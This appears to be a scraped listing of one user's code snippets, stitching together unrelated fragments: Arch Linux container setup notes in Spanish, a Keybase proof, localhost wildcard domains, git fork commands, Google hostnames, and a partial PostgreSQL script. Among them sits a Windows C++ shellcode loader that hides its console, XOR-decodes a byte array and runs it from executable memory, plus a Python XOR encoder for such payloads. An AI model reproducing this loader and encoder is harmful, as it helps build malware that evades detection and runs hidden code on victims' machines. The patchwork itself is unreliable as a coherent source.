Eduard Tolosa Edu4rdSHL

Pre-requisitos:

arch-install-scripts, deboostrap

Instalación ArchLinux: mkdir ArchLinux && pacstrap -c ArchLinux base linux-api-headers

Una vez iniciada sesion con systemd-nspawn -D ArchLinux (debe usar la opción -D solamente), debemos borrar los archivos /etc/securetty y /usr/share/factory/etc/securetty dentro del contenedor solamente, además de añadirlos al archivo /etc/pacman.conf del mismo, en la opción NoExtract. La línea sería la siguiente:

NoExtract = /etc/securetty /usr/share/factory/etc/securetty

Keybase proof

I hereby claim:

I am edu4rdshl on github.
I am edu4rdshl (https://keybase.io/edu4rdshl) on keybase.
I have a public key ASDaGNIYENg2zvhVL4b00fxz-aKxAMVtAzbzi5yb3M9u9Qo

To claim this, I am signing this object:

Available Public Wildcard DNS Domains pointing to localhost (127.0.0.1)

It turns out that some kind hearted people already set up wildcard domains for you already. You can use any domain below and/or any subdomain of these and they currently resolve to 127.0.0.1 but could switch at any time to resolve somewhere else. Here's the list of ones I know about. Let me know if there are more!

localhost - It will always works. Do you know why? I hope so.
[*.]fbi.com - 👏 👏 👏 👏 👏
[*.]localtest.me
[*.]127-0-0-1.org.uk
[*.]vcap.me
[*.]yoogle.com

The repository for the assignment is public and Github does not allow the creation of private forks for public repositories.

The correct way of creating a private frok by duplicating the repo is documented here.

For this assignment the commands are:

Create a bare clone of the repository. (This is temporary and will be removed so just do it wherever.)

git clone --bare [email protected]:usi-systems/easytrace.git

	rate-limited-proxy-209-85-238-203.google.com
	quagmire.corp.google.com
	mail-ed1-f116.google.com
	pub-8613501904892077.afd.ghs.google.com
	corpnat-104-132-246-81.corp.google.com
	corpnat-104-133-102-87.corp.google.com
	moon.google.com
	googleproxy-66-249-83-111.google.com
	rate-limited-proxy-72-14-199-162.google.com
	mail-vk1-f209.google.com

	#include <windows.h>
	#include <iostream>
	int main(int argc, char **argv) {
	ShowWindow(GetConsoleWindow(), SW_HIDE);
	char b[] = { };
	char c[sizeof b];
	for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
	void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, c, sizeof c);
	((void(*)())exec)();

	#!/usr/bin/env python2
	import sys
	KEY = 'x'
	def xor(data, key):
	key = str(key)
	l = len(key)
	output_str = ""
	for i in range(len(data)):
	current = data[i]
	current_key = key[i % len(key)]

	#!/bin/bash

	# PostgreSQL connection parameters
	PG_USER="postgres"
	PG_HOST="localhost"
	PG_PORT="5432"

	# Get a list of databases
	databases=$(psql -U $PG_USER -h $PG_HOST -p $PG_PORT -q -t -c "SELECT datname FROM pg_database")